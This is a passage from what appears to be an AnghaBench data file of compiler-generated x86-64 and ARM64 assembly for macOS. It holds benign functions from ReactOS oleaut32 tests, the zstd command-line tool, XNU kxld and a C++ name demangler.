movq _VarUI8FromCy@GOTPCREL(%rip), %rbx
movl (%rbx), %edi
movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero
callq _CONVERT_CY
movl (%rbx), %edi
xorps %xmm0, %xmm0
callq _CONVERT_CY
xorl %edi, %edi
callq _EXPECTI8
movl (%rbx), %edi
movsd LCPI0_1(%rip), %xmm0 ## xmm0 = mem[0],zero
callq _CONVERT_CY
movl $1, %edi
callq _EXPECTI8
movl (%rbx), %edi
movsd LCPI0_2(%rip), %xmm0 ## xmm0 = mem[0],zero
callq _CONVERT_CY
movl $255, %edi
callq _EXPECTI8
movl (%rbx), %edi
movsd LCPI0_3(%rip), %xmm0 ## xmm0 = mem[0],zero
callq _CONVERT_CY
movl (%rbx), %edi
movsd LCPI0_4(%rip), %xmm0 ## xmm0 = mem[0],zero
callq _CONVERT_CY
movl (%rbx), %edi
movsd LCPI0_5(%rip), %xmm0 ## xmm0 = mem[0],zero
callq _CONVERT_CY
xorl %edi, %edi
callq _EXPECTI8
movl (%rbx), %edi
movsd LCPI0_6(%rip), %xmm0 ## xmm0 = mem[0],zero
callq _CONVERT_CY
xorl %edi, %edi
callq _EXPECTI8
movl (%rbx), %edi
movsd LCPI0_7(%rip), %xmm0 ## xmm0 = mem[0],zero
callq _CONVERT_CY
xorl %edi, %edi
callq _EXPECTI8
movl (%rbx), %edi
movsd LCPI0_8(%rip), %xmm0 ## xmm0 = mem[0],zero
callq _CONVERT_CY
xorl %edi, %edi
callq _EXPECTI8
movl (%rbx), %edi
movsd LCPI0_9(%rip), %xmm0 ## xmm0 = mem[0],zero
callq _CONVERT_CY
movl $1, %edi
callq _EXPECTI8
movl (%rbx), %edi
movsd LCPI0_10(%rip), %xmm0 ## xmm0 = mem[0],zero
callq _CONVERT_CY
movl $2, %edi
addq $8, %rsp
popq %rbx
popq %rbp
jmp _EXPECTI8 ## TAILCALL
.cfi_endproc
## -- End function
.comm _CY,4,2 ## @CY
.comm _VarUI8FromCy,4,2 ## @VarUI8FromCy
.comm _EXPECT_OVERFLOW,4,2 ## @EXPECT_OVERFLOW
.no_dead_strip _test_VarUI8FromCy
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function test_VarUI8FromCy
_test_VarUI8FromCy: ; @test_VarUI8FromCy
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
Lloh0:
adrp x8, _CY@GOTPAGE
Lloh1:
ldr x8, [x8, _CY@GOTPAGEOFF]
Lloh2:
ldr w0, [x8]
bl _CONVVARS
Lloh3:
adrp x19, _VarUI8FromCy@GOTPAGE
Lloh4:
ldr x19, [x19, _VarUI8FromCy@GOTPAGEOFF]
ldr w0, [x19]
fmov d0, #-1.00000000
bl _CONVERT_CY
ldr w0, [x19]
movi d0, #0000000000000000
bl _CONVERT_CY
mov w0, #0
bl _EXPECTI8
ldr w0, [x19]
fmov d0, #1.00000000
bl _CONVERT_CY
mov w0, #1
bl _EXPECTI8
ldr w0, [x19]
mov x8, #246290604621824
movk x8, #16495, lsl #48
fmov d0, x8
bl _CONVERT_CY
mov w0, #255
bl _EXPECTI8
ldr w0, [x19]
fmov d0, #-1.50000000
bl _CONVERT_CY
ldr w0, [x19]
mov x8, #3689348814741910323
movk x8, #49123, lsl #48
fmov d0, x8
bl _CONVERT_CY
ldr w0, [x19]
fmov d0, #-0.50000000
bl _CONVERT_CY
mov w0, #0
bl _EXPECTI8
ldr w0, [x19]
mov x8, #-7378697629483820647
movk x8, #39322
movk x8, #49113, lsl #48
fmov d0, x8
bl _CONVERT_CY
mov w0, #0
bl _EXPECTI8
ldr w0, [x19]
mov x8, #-7378697629483820647
movk x8, #39322
movk x8, #16345, lsl #48
fmov d0, x8
bl _CONVERT_CY
mov w0, #0
bl _EXPECTI8
ldr w0, [x19]
fmov d0, #0.50000000
bl _CONVERT_CY
mov w0, #0
bl _EXPECTI8
ldr w0, [x19]
mov x8, #3689348814741910323
movk x8, #16355, lsl #48
fmov d0, x8
bl _CONVERT_CY
mov w0, #1
bl _EXPECTI8
ldr w0, [x19]
fmov d0, #1.50000000
bl _CONVERT_CY
mov w0, #2
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
b _EXPECTI8
.loh AdrpLdrGot Lloh3, Lloh4
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _CY,4,2 ; @CY
.comm _VarUI8FromCy,4,2 ; @VarUI8FromCy
.comm _EXPECT_OVERFLOW,4,2 ; @EXPECT_OVERFLOW
.no_dead_strip _test_VarUI8FromCy
.subsections_via_symbols
| AnghaBench/reactos/modules/rostests/winetests/oleaut32/extr_vartype.c_test_VarUI8FromCy.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function parseLegacyParameters
_parseLegacyParameters: ## @parseLegacyParameters
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
movq %rsi, %rbx
movq %rdi, -16(%rbp)
leaq L_.str(%rip), %rsi
leaq -16(%rbp), %rdi
callq _longCommandWArg
testl %eax, %eax
jne LBB0_3
## %bb.1:
leaq L_.str.1(%rip), %rsi
leaq -16(%rbp), %rdi
callq _longCommandWArg
testl %eax, %eax
je LBB0_2
LBB0_3:
leaq -16(%rbp), %rdi
callq _readU32FromChar
movl %eax, (%rbx)
movq -16(%rbp), %rdx
xorl %ecx, %ecx
cmpb $0, (%rdx)
jne LBB0_5
## %bb.4:
leaq L_.str.2(%rip), %rsi
movl $4, %edi
movl %eax, %edx
callq _DISPLAYLEVEL
movl $1, %ecx
jmp LBB0_5
LBB0_2:
xorl %ecx, %ecx
LBB0_5:
movl %ecx, %eax
addq $8, %rsp
popq %rbx
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "s="
L_.str.1: ## @.str.1
.asciz "selectivity="
L_.str.2: ## @.str.2
.asciz "legacy: selectivity=%u\n"
.no_dead_strip _parseLegacyParameters
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function parseLegacyParameters
_parseLegacyParameters: ; @parseLegacyParameters
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x1
str x0, [sp, #8]
Lloh0:
adrp x1, l_.str@PAGE
Lloh1:
add x1, x1, l_.str@PAGEOFF
add x0, sp, #8
bl _longCommandWArg
cbnz w0, LBB0_2
; %bb.1:
Lloh2:
adrp x1, l_.str.1@PAGE
Lloh3:
add x1, x1, l_.str.1@PAGEOFF
add x0, sp, #8
bl _longCommandWArg
cbz w0, LBB0_5
LBB0_2:
add x0, sp, #8
bl _readU32FromChar
str w0, [x19]
ldr x8, [sp, #8]
ldrb w8, [x8]
cbz w8, LBB0_4
; %bb.3:
mov w0, #0
b LBB0_5
LBB0_4:
mov x2, x0
Lloh4:
adrp x1, l_.str.2@PAGE
Lloh5:
add x1, x1, l_.str.2@PAGEOFF
mov w0, #4
bl _DISPLAYLEVEL
mov w0, #1
LBB0_5:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #48
ret
.loh AdrpAdd Lloh0, Lloh1
.loh AdrpAdd Lloh2, Lloh3
.loh AdrpAdd Lloh4, Lloh5
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "s="
l_.str.1: ; @.str.1
.asciz "selectivity="
l_.str.2: ; @.str.2
.asciz "legacy: selectivity=%u\n"
.no_dead_strip _parseLegacyParameters
.subsections_via_symbols
| AnghaBench/zstd/programs/extr_zstdcli.c_parseLegacyParameters.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _kxld_is_32_bit ## -- Begin function kxld_is_32_bit
.p2align 4, 0x90
_kxld_is_32_bit: ## @kxld_is_32_bit
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq _CPU_ARCH_ABI64@GOTPCREL(%rip), %rcx
xorl %eax, %eax
testl %edi, (%rcx)
sete %al
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _CPU_ARCH_ABI64,4,2 ## @CPU_ARCH_ABI64
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _kxld_is_32_bit ; -- Begin function kxld_is_32_bit
.p2align 2
_kxld_is_32_bit: ; @kxld_is_32_bit
.cfi_startproc
; %bb.0:
Lloh0:
adrp x8, _CPU_ARCH_ABI64@GOTPAGE
Lloh1:
ldr x8, [x8, _CPU_ARCH_ABI64@GOTPAGEOFF]
Lloh2:
ldr w8, [x8]
tst w8, w0
cset w0, eq
ret
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _CPU_ARCH_ABI64,4,2 ; @CPU_ARCH_ABI64
.subsections_via_symbols
| AnghaBench/darwin-xnu/libkern/kxld/extr_kxld_util.c_kxld_is_32_bit.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function d_special_name
_d_special_name: ## @d_special_name
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
pushq %rax
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdi, %rbx
addl $20, (%rdi)
movl $84, %esi
callq _d_check_char
movq %rbx, %rdi
testq %rax, %rax
je LBB0_27
## %bb.1:
callq _d_next_char
## kill: def $eax killed $eax def $rax
addl $-65, %eax
cmpl $53, %eax
ja LBB0_37
## %bb.2:
leaq LJTI0_0(%rip), %rcx
movslq (%rcx,%rax,4), %rax
addq %rcx, %rax
jmpq *%rax
LBB0_26:
movq _DEMANGLE_COMPONENT_TPARM_OBJ@GOTPCREL(%rip), %rax
movl (%rax), %r14d
movq %rbx, %rdi
callq _d_template_arg
jmp LBB0_7
LBB0_27:
movl $71, %esi
callq _d_check_char
testq %rax, %rax
je LBB0_37
## %bb.28:
movq %rbx, %rdi
callq _d_next_char
## kill: def $eax killed $eax def $rax
addl $-65, %eax
cmpl $49, %eax
ja LBB0_37
## %bb.29:
leaq LJTI0_1(%rip), %rcx
movslq (%rcx,%rax,4), %rax
addq %rcx, %rax
jmpq *%rax
LBB0_32:
movq _DEMANGLE_COMPONENT_HIDDEN_ALIAS@GOTPCREL(%rip), %rax
jmp LBB0_12
LBB0_18:
movq %rbx, %rdi
callq _cplus_demangle_type
movq %rax, %r14
movq %rbx, %rdi
callq _d_number
testl %eax, %eax
js LBB0_37
## %bb.19:
movq %rbx, %rdi
movl $95, %esi
callq _d_check_char
testq %rax, %rax
je LBB0_37
## %bb.20:
movq %rbx, %rdi
callq _cplus_demangle_type
addl $5, (%rbx)
movq _DEMANGLE_COMPONENT_CONSTRUCTION_VTABLE@GOTPCREL(%rip), %rcx
movl (%rcx), %esi
movq %rbx, %rdi
movq %rax, %rdx
movq %r14, %rcx
jmp LBB0_8
LBB0_21:
movq _DEMANGLE_COMPONENT_TYPEINFO_FN@GOTPCREL(%rip), %rax
jmp LBB0_6
LBB0_23:
movq _DEMANGLE_COMPONENT_TLS_INIT@GOTPCREL(%rip), %rax
jmp LBB0_24
LBB0_5:
movq _DEMANGLE_COMPONENT_TYPEINFO@GOTPCREL(%rip), %rax
jmp LBB0_6
LBB0_22:
movq _DEMANGLE_COMPONENT_JAVA_CLASS@GOTPCREL(%rip), %rax
jmp LBB0_6
LBB0_9:
movq _DEMANGLE_COMPONENT_TYPEINFO_NAME@GOTPCREL(%rip), %rax
jmp LBB0_6
LBB0_4:
addl $-10, (%rbx)
movq _DEMANGLE_COMPONENT_VTT@GOTPCREL(%rip), %rax
jmp LBB0_6
LBB0_3:
addl $-5, (%rbx)
movq _DEMANGLE_COMPONENT_VTABLE@GOTPCREL(%rip), %rax
LBB0_6:
movl (%rax), %r14d
movq %rbx, %rdi
callq _cplus_demangle_type
jmp LBB0_7
LBB0_25:
movq _DEMANGLE_COMPONENT_TLS_WRAPPER@GOTPCREL(%rip), %rax
jmp LBB0_24
LBB0_15:
movq %rbx, %rdi
xorl %esi, %esi
callq _d_call_offset
testl %eax, %eax
je LBB0_37
## %bb.16:
movq %rbx, %rdi
xorl %esi, %esi
callq _d_call_offset
testl %eax, %eax
je LBB0_37
## %bb.17:
movq _DEMANGLE_COMPONENT_COVARIANT_THUNK@GOTPCREL(%rip), %rax
jmp LBB0_12
LBB0_10:
movq %rbx, %rdi
movl $104, %esi
callq _d_call_offset
testl %eax, %eax
je LBB0_37
## %bb.11:
movq _DEMANGLE_COMPONENT_THUNK@GOTPCREL(%rip), %rax
jmp LBB0_12
LBB0_13:
movq %rbx, %rdi
movl $118, %esi
callq _d_call_offset
testl %eax, %eax
je LBB0_37
## %bb.14:
movq _DEMANGLE_COMPONENT_VIRTUAL_THUNK@GOTPCREL(%rip), %rax
jmp LBB0_12
LBB0_37:
xorl %eax, %eax
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
retq
LBB0_31:
movq %rbx, %rdi
callq _d_name
movq %rax, %r14
movq _DEMANGLE_COMPONENT_REFTEMP@GOTPCREL(%rip), %rax
movl (%rax), %r15d
movq %rbx, %rdi
callq _d_number_component
movq %rbx, %rdi
movl %r15d, %esi
movq %r14, %rdx
movq %rax, %rcx
jmp LBB0_8
LBB0_33:
movq %rbx, %rdi
callq _d_next_char
cmpl $110, %eax
jne LBB0_35
## %bb.34:
movq _DEMANGLE_COMPONENT_NONTRANSACTION_CLONE@GOTPCREL(%rip), %rax
jmp LBB0_12
LBB0_30:
movq _DEMANGLE_COMPONENT_GUARD@GOTPCREL(%rip), %rax
LBB0_24:
movl (%rax), %r14d
movq %rbx, %rdi
callq _d_name
jmp LBB0_7
LBB0_36:
movq %rbx, %rdi
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
jmp _d_java_resource ## TAILCALL
LBB0_35:
movq _DEMANGLE_COMPONENT_TRANSACTION_CLONE@GOTPCREL(%rip), %rax
LBB0_12:
movl (%rax), %r14d
movq %rbx, %rdi
xorl %esi, %esi
callq _d_encoding
LBB0_7:
movq %rbx, %rdi
movl %r14d, %esi
movq %rax, %rdx
xorl %ecx, %ecx
LBB0_8:
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
jmp _d_make_comp ## TAILCALL
.cfi_endproc
.p2align 2, 0x90
.data_region jt32
.set L0_0_set_26, LBB0_26-LJTI0_0
.set L0_0_set_37, LBB0_37-LJTI0_0
.set L0_0_set_18, LBB0_18-LJTI0_0
.set L0_0_set_21, LBB0_21-LJTI0_0
.set L0_0_set_23, LBB0_23-LJTI0_0
.set L0_0_set_5, LBB0_5-LJTI0_0
.set L0_0_set_22, LBB0_22-LJTI0_0
.set L0_0_set_9, LBB0_9-LJTI0_0
.set L0_0_set_4, LBB0_4-LJTI0_0
.set L0_0_set_3, LBB0_3-LJTI0_0
.set L0_0_set_25, LBB0_25-LJTI0_0
.set L0_0_set_15, LBB0_15-LJTI0_0
.set L0_0_set_10, LBB0_10-LJTI0_0
.set L0_0_set_13, LBB0_13-LJTI0_0
LJTI0_0:
.long L0_0_set_26
.long L0_0_set_37
.long L0_0_set_18
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_21
.long L0_0_set_37
.long L0_0_set_23
.long L0_0_set_5
.long L0_0_set_22
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_9
.long L0_0_set_4
.long L0_0_set_37
.long L0_0_set_3
.long L0_0_set_25
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_15
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_10
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_37
.long L0_0_set_13
.set L0_1_set_32, LBB0_32-LJTI0_1
.set L0_1_set_37, LBB0_37-LJTI0_1
.set L0_1_set_31, LBB0_31-LJTI0_1
.set L0_1_set_33, LBB0_33-LJTI0_1
.set L0_1_set_30, LBB0_30-LJTI0_1
.set L0_1_set_36, LBB0_36-LJTI0_1
LJTI0_1:
.long L0_1_set_32
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_31
.long L0_1_set_37
.long L0_1_set_33
.long L0_1_set_37
.long L0_1_set_30
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_37
.long L0_1_set_36
.end_data_region
## -- End function
.comm _DEMANGLE_COMPONENT_VTABLE,4,2 ## @DEMANGLE_COMPONENT_VTABLE
.comm _DEMANGLE_COMPONENT_VTT,4,2 ## @DEMANGLE_COMPONENT_VTT
.comm _DEMANGLE_COMPONENT_TYPEINFO,4,2 ## @DEMANGLE_COMPONENT_TYPEINFO
.comm _DEMANGLE_COMPONENT_TYPEINFO_NAME,4,2 ## @DEMANGLE_COMPONENT_TYPEINFO_NAME
.comm _DEMANGLE_COMPONENT_THUNK,4,2 ## @DEMANGLE_COMPONENT_THUNK
.comm _DEMANGLE_COMPONENT_VIRTUAL_THUNK,4,2 ## @DEMANGLE_COMPONENT_VIRTUAL_THUNK
.comm _DEMANGLE_COMPONENT_COVARIANT_THUNK,4,2 ## @DEMANGLE_COMPONENT_COVARIANT_THUNK
.comm _DEMANGLE_COMPONENT_CONSTRUCTION_VTABLE,4,2 ## @DEMANGLE_COMPONENT_CONSTRUCTION_VTABLE
.comm _DEMANGLE_COMPONENT_TYPEINFO_FN,4,2 ## @DEMANGLE_COMPONENT_TYPEINFO_FN
.comm _DEMANGLE_COMPONENT_JAVA_CLASS,4,2 ## @DEMANGLE_COMPONENT_JAVA_CLASS
.comm _DEMANGLE_COMPONENT_TLS_INIT,4,2 ## @DEMANGLE_COMPONENT_TLS_INIT
.comm _DEMANGLE_COMPONENT_TLS_WRAPPER,4,2 ## @DEMANGLE_COMPONENT_TLS_WRAPPER
.comm _DEMANGLE_COMPONENT_TPARM_OBJ,4,2 ## @DEMANGLE_COMPONENT_TPARM_OBJ
.comm _DEMANGLE_COMPONENT_GUARD,4,2 ## @DEMANGLE_COMPONENT_GUARD
.comm _DEMANGLE_COMPONENT_REFTEMP,4,2 ## @DEMANGLE_COMPONENT_REFTEMP
.comm _DEMANGLE_COMPONENT_HIDDEN_ALIAS,4,2 ## @DEMANGLE_COMPONENT_HIDDEN_ALIAS
.comm _DEMANGLE_COMPONENT_NONTRANSACTION_CLONE,4,2 ## @DEMANGLE_COMPONENT_NONTRANSACTION_CLONE
.comm _DEMANGLE_COMPONENT_TRANSACTION_CLONE,4,2 ## @DEMANGLE_COMPONENT_TRANSACTION_CLONE
.no_dead_strip _d_special_name
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function d_special_name
_d_special_name: ; @d_special_name
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x19, x0
ldr w8, [x0]
add w8, w8, #20
str w8, [x0]
mov w1, #84
bl _d_check_char
cbz x0, LBB0_4
; %bb.1:
mov x0, x19
bl _d_next_char
sub w8, w0, #65
cmp w8, #53
b.hi LBB0_27
; %bb.2:
Lloh0:
adrp x9, lJTI0_0@PAGE
Lloh1:
add x9, x9, lJTI0_0@PAGEOFF
adr x10, LBB0_3
ldrb w11, [x9, x8]
add x10, x10, x11, lsl #2
br x10
LBB0_3:
Lloh2:
adrp x8, _DEMANGLE_COMPONENT_TPARM_OBJ@GOTPAGE
Lloh3:
ldr x8, [x8, _DEMANGLE_COMPONENT_TPARM_OBJ@GOTPAGEOFF]
Lloh4:
ldr w20, [x8]
mov x0, x19
bl _d_template_arg
b LBB0_36
LBB0_4:
mov x0, x19
mov w1, #71
bl _d_check_char
cbz x0, LBB0_27
; %bb.5:
mov x0, x19
bl _d_next_char
sub w8, w0, #65
cmp w8, #49
b.hi LBB0_27
; %bb.6:
Lloh5:
adrp x9, lJTI0_1@PAGE
Lloh6:
add x9, x9, lJTI0_1@PAGEOFF
adr x10, LBB0_7
ldrb w11, [x9, x8]
add x10, x10, x11, lsl #2
br x10
LBB0_7:
Lloh7:
adrp x8, _DEMANGLE_COMPONENT_HIDDEN_ALIAS@GOTPAGE
Lloh8:
ldr x8, [x8, _DEMANGLE_COMPONENT_HIDDEN_ALIAS@GOTPAGEOFF]
b LBB0_35
LBB0_8:
mov x0, x19
bl _cplus_demangle_type
mov x20, x0
mov x0, x19
bl _d_number
tbnz w0, #31, LBB0_27
; %bb.9:
mov x0, x19
mov w1, #95
bl _d_check_char
cbz x0, LBB0_27
; %bb.10:
mov x0, x19
bl _cplus_demangle_type
mov x2, x0
ldr w8, [x19]
add w8, w8, #5
Lloh9:
adrp x9, _DEMANGLE_COMPONENT_CONSTRUCTION_VTABLE@GOTPAGE
Lloh10:
ldr x9, [x9, _DEMANGLE_COMPONENT_CONSTRUCTION_VTABLE@GOTPAGEOFF]
str w8, [x19]
Lloh11:
ldr w1, [x9]
mov x0, x19
mov x3, x20
b LBB0_37
LBB0_11:
Lloh12:
adrp x8, _DEMANGLE_COMPONENT_TYPEINFO_FN@GOTPAGE
Lloh13:
ldr x8, [x8, _DEMANGLE_COMPONENT_TYPEINFO_FN@GOTPAGEOFF]
b LBB0_18
LBB0_12:
Lloh14:
adrp x8, _DEMANGLE_COMPONENT_TLS_INIT@GOTPAGE
Lloh15:
ldr x8, [x8, _DEMANGLE_COMPONENT_TLS_INIT@GOTPAGEOFF]
b LBB0_32
LBB0_13:
Lloh16:
adrp x8, _DEMANGLE_COMPONENT_TYPEINFO@GOTPAGE
Lloh17:
ldr x8, [x8, _DEMANGLE_COMPONENT_TYPEINFO@GOTPAGEOFF]
b LBB0_18
LBB0_14:
Lloh18:
adrp x8, _DEMANGLE_COMPONENT_JAVA_CLASS@GOTPAGE
Lloh19:
ldr x8, [x8, _DEMANGLE_COMPONENT_JAVA_CLASS@GOTPAGEOFF]
b LBB0_18
LBB0_15:
Lloh20:
adrp x8, _DEMANGLE_COMPONENT_TYPEINFO_NAME@GOTPAGE
Lloh21:
ldr x8, [x8, _DEMANGLE_COMPONENT_TYPEINFO_NAME@GOTPAGEOFF]
b LBB0_18
LBB0_16:
ldr w8, [x19]
sub w8, w8, #10
str w8, [x19]
Lloh22:
adrp x8, _DEMANGLE_COMPONENT_VTT@GOTPAGE
Lloh23:
ldr x8, [x8, _DEMANGLE_COMPONENT_VTT@GOTPAGEOFF]
b LBB0_18
LBB0_17:
ldr w8, [x19]
sub w8, w8, #5
str w8, [x19]
Lloh24:
adrp x8, _DEMANGLE_COMPONENT_VTABLE@GOTPAGE
Lloh25:
ldr x8, [x8, _DEMANGLE_COMPONENT_VTABLE@GOTPAGEOFF]
LBB0_18:
ldr w20, [x8]
mov x0, x19
bl _cplus_demangle_type
b LBB0_36
LBB0_19:
Lloh26:
adrp x8, _DEMANGLE_COMPONENT_TLS_WRAPPER@GOTPAGE
Lloh27:
ldr x8, [x8, _DEMANGLE_COMPONENT_TLS_WRAPPER@GOTPAGEOFF]
b LBB0_32
LBB0_20:
mov x0, x19
mov w1, #0
bl _d_call_offset
cbz w0, LBB0_27
; %bb.21:
mov x0, x19
mov w1, #0
bl _d_call_offset
cbz w0, LBB0_27
; %bb.22:
Lloh28:
adrp x8, _DEMANGLE_COMPONENT_COVARIANT_THUNK@GOTPAGE
Lloh29:
ldr x8, [x8, _DEMANGLE_COMPONENT_COVARIANT_THUNK@GOTPAGEOFF]
b LBB0_35
LBB0_23:
mov x0, x19
mov w1, #104
bl _d_call_offset
cbz w0, LBB0_27
; %bb.24:
Lloh30:
adrp x8, _DEMANGLE_COMPONENT_THUNK@GOTPAGE
Lloh31:
ldr x8, [x8, _DEMANGLE_COMPONENT_THUNK@GOTPAGEOFF]
b LBB0_35
LBB0_25:
mov x0, x19
mov w1, #118
bl _d_call_offset
cbz w0, LBB0_27
; %bb.26:
Lloh32:
adrp x8, _DEMANGLE_COMPONENT_VIRTUAL_THUNK@GOTPAGE
Lloh33:
ldr x8, [x8, _DEMANGLE_COMPONENT_VIRTUAL_THUNK@GOTPAGEOFF]
b LBB0_35
LBB0_27:
mov x0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
ret
LBB0_28:
mov x0, x19
bl _d_name
mov x20, x0
Lloh34:
adrp x8, _DEMANGLE_COMPONENT_REFTEMP@GOTPAGE
Lloh35:
ldr x8, [x8, _DEMANGLE_COMPONENT_REFTEMP@GOTPAGEOFF]
Lloh36:
ldr w21, [x8]
mov x0, x19
bl _d_number_component
mov x3, x0
mov x0, x19
mov x1, x21
mov x2, x20
b LBB0_37
LBB0_29:
mov x0, x19
bl _d_next_char
cmp w0, #110
b.ne LBB0_34
; %bb.30:
Lloh37:
adrp x8, _DEMANGLE_COMPONENT_NONTRANSACTION_CLONE@GOTPAGE
Lloh38:
ldr x8, [x8, _DEMANGLE_COMPONENT_NONTRANSACTION_CLONE@GOTPAGEOFF]
b LBB0_35
LBB0_31:
Lloh39:
adrp x8, _DEMANGLE_COMPONENT_GUARD@GOTPAGE
Lloh40:
ldr x8, [x8, _DEMANGLE_COMPONENT_GUARD@GOTPAGEOFF]
LBB0_32:
ldr w20, [x8]
mov x0, x19
bl _d_name
b LBB0_36
LBB0_33:
mov x0, x19
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
b _d_java_resource
LBB0_34:
Lloh41:
adrp x8, _DEMANGLE_COMPONENT_TRANSACTION_CLONE@GOTPAGE
Lloh42:
ldr x8, [x8, _DEMANGLE_COMPONENT_TRANSACTION_CLONE@GOTPAGEOFF]
LBB0_35:
ldr w20, [x8]
mov x0, x19
mov w1, #0
bl _d_encoding
LBB0_36:
mov x2, x0
mov x0, x19
mov x1, x20
mov x3, #0
LBB0_37:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
b _d_make_comp
.loh AdrpAdd Lloh0, Lloh1
.loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4
.loh AdrpAdd Lloh5, Lloh6
.loh AdrpLdrGot Lloh7, Lloh8
.loh AdrpLdrGotLdr Lloh9, Lloh10, Lloh11
.loh AdrpLdrGot Lloh12, Lloh13
.loh AdrpLdrGot Lloh14, Lloh15
.loh AdrpLdrGot Lloh16, Lloh17
.loh AdrpLdrGot Lloh18, Lloh19
.loh AdrpLdrGot Lloh20, Lloh21
